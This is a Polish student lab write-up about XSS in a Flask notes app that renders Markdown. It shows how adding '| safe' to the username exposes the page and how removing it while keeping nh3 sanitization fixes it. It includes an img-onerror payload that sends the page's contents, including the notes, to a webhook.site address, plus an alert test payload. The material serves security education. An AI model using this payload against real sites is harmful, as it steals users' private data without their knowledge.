Zadanie: XSS i Sanityzacja Markdown

📋 Treść zadania

Cel: Zapewnić prawidłowe renderowanie Markdown w treści notatki jednocześnie uniemożliwiając przeprowadzenie ataku XSS. Należy wykorzystać sanityzację.

Zadanie składa się z dwóch części:

1. Przeprowadzić atak XSS polegający na kradzieży notatek i wysłaniu ich na zewnętrzny serwer
2. Zabezpieczyć aplikację przed tym atakiem

Warunek: Jedyna dozwolona modyfikacja kodu to dodanie flagi `| safe` do username w szablonach Jinja.

🔍 Część 1: Analiza podatności

Struktura aplikacji

- **Flask** - framework webowy
- **Markdown** - renderowanie notatek użytkownika
- **nh3.clean()** - biblioteka do sanityzacji HTML
- **Jinja2** - silnik szablonów (domyślnie escapuje HTML)

Gdzie jest luka?

✅ **Notatki są BEZPIECZNE:**

python

```
rendered = markdown.markdown(md, extensions=["extra", "codehilite"])
safe_rendered = nh3.clean(rendered)  # Sanityzacja usuwa <script>, onerror, itp.
notes.append(safe_rendered)
```

❌ **Username jest PODATNY (po dodaniu | safe):**

html

```
<h1>Hello {{ username | safe }}!</h1>
```

Dlaczego?

- Bez `| safe` - Jinja2 automatycznie escapuje: `<script>` → `&lt;script&gt;` (bezpieczne)
- Z `| safe` - Jinja2 NIE escapuje: `<script>` → `<script>` (niebezpieczne!)

💥 Część 2: Przeprowadzenie ataku XSS

Strategia ataku

1. Dodać `| safe` do `{{ username }}` w `hello.html`
2. Zrestartować aplikację Flask
3. Zalogować się używając payload XSS jako username
4. Skrypt wykona się u każdego, kto zobaczy tę stronę

Payload XSS (prosty - wysyła całą stronę):

```html
<img src=x onerror="fetch('https://webhook.site/TWOJ-ID',{method:'POST',mode:'no-cors',body:document.body.inner
```

Jak to działa?

- `<img src=x>` - próbuje załadować nieistniejący obrazek
- `onerror="..."` - wykonuje JavaScript gdy obrazek się nie załaduje
- `fetch()` - wysyła dane na zewnętrzny serwer
- `mode:'no-cors'` - omija ograniczenia CORS
- `document.body.innerHTML` - cała zawartość strony (w tym notatki!)

Dlaczego jest niewidoczny?

- Pojawia się tylko mały broken image icon (🖼️ ❌)
- Nie zmienia działania aplikacji
- Działa w tle bez wiedzy użytkownika

🛡️ Część 3: Zabezpieczenie aplikacji

Rozwiązanie

1. USUŃ `| safe` z username:

```html
<h1>Hello {{ username }}!</h1> <!-- BEZ | safe -->
```

2. ZOSTAW sanityzację notatek:

```python
```

```
safe_rendered = nh3.clean(rendered)  # ✅ Zostawić
notes.append(safe_rendered)
```

3. ZOSTAW `|safe` w markdown.html:


html

```
{{ rendered | safe }}  <!-- OK - rendered jest już oczyszczony -->
```

Dlaczego to jest bezpieczne?

| Element | Sanityzacja | | `safe` | Bezpieczeństwo | |---------|-------------|---------|----------------| | **Notatki Markdown** | ✅ nh3.clean() | ✅ Tak | ✅ BEZPIECZNE | | **Username** | ✅ Auto-escape | ❌ NIE | ✅ BEZPIECZNE | | **Username** | ❌ Brak | ✅ Tak | ⚠️ PODATNE NA XSS |

🎓 Kluczowe wnioski

Zasada bezpieczeństwa:

> **NIGDY nie używaj `|safe` na surowych danych od użytkownika!**

Kiedy używać `|safe`?

✅ **TAK** - gdy dane przeszły przez sanityzację (np. `nh3.clean()`)
❌ **NIE** - na surowych danych wejściowych (username, komentarze, formularze)

Różnica między escapowaniem a sanityzacją:

Escapowanie (Jinja2 default):

- `<script>` → `&lt;script&gt;`
- Wyświetla tekst literalnie
- Nie pozwala na HTML

Sanityzacja (nh3.clean):

- `<script>alert('XSS')</script>` → `` (usunięte)
- `<strong>Hello</strong>` → `<strong>Hello</strong>` (dozwolone)
- Pozwala na bezpieczny HTML, usuwa niebezpieczny

📝 Demo dla prowadzącego

1. Pokazanie podatności:

1. Dodaj | safe do username
2. Zaloguj się jako: <img src=x onerror="alert('XSS!')">
3. Pojawi się alert - luka potwierdzona

2. Pokazanie ataku:

1. Utwórz kilka notatek testowych
2. Zaloguj się z payloadem kradzieży danych
3. Sprawdź webhook.site - dane zostały wykradzione

3. Pokazanie zabezpieczenia:

1. Usuń | safe z username
2. Spróbuj tego samego payloadu
3. Zamiast <img> zobaczymy tekst: <img src=x...>
4. XSS nie działa!

🔑 Podsumowanie dla prowadzącego

Zrozumiałem:

- Różnicę między escapowaniem a sanityzacją
- Kiedy używać `| safe` (tylko po sanityzacji!)
- Jak działa atak XSS przez injection w polu username
- Jak prawidłowo zabezpieczyć aplikację Flask z Markdown

Wykonałem:

- ✅ Analizę podatności w kodzie
- ✅ Stworzenie payloadu XSS
- ✅ Przeprowadzenie ataku i kradzież danych
- ✅ Zabezpieczenie aplikacji

Praktyczna nauka: Zadanie pokazało, że nawet niewielka zmiana (`| safe`) może stworzyć poważną lukę bezpieczeństwa. Sanityzacja musi być wszędzie tam, gdzie wyświetlamy dane użytkownika!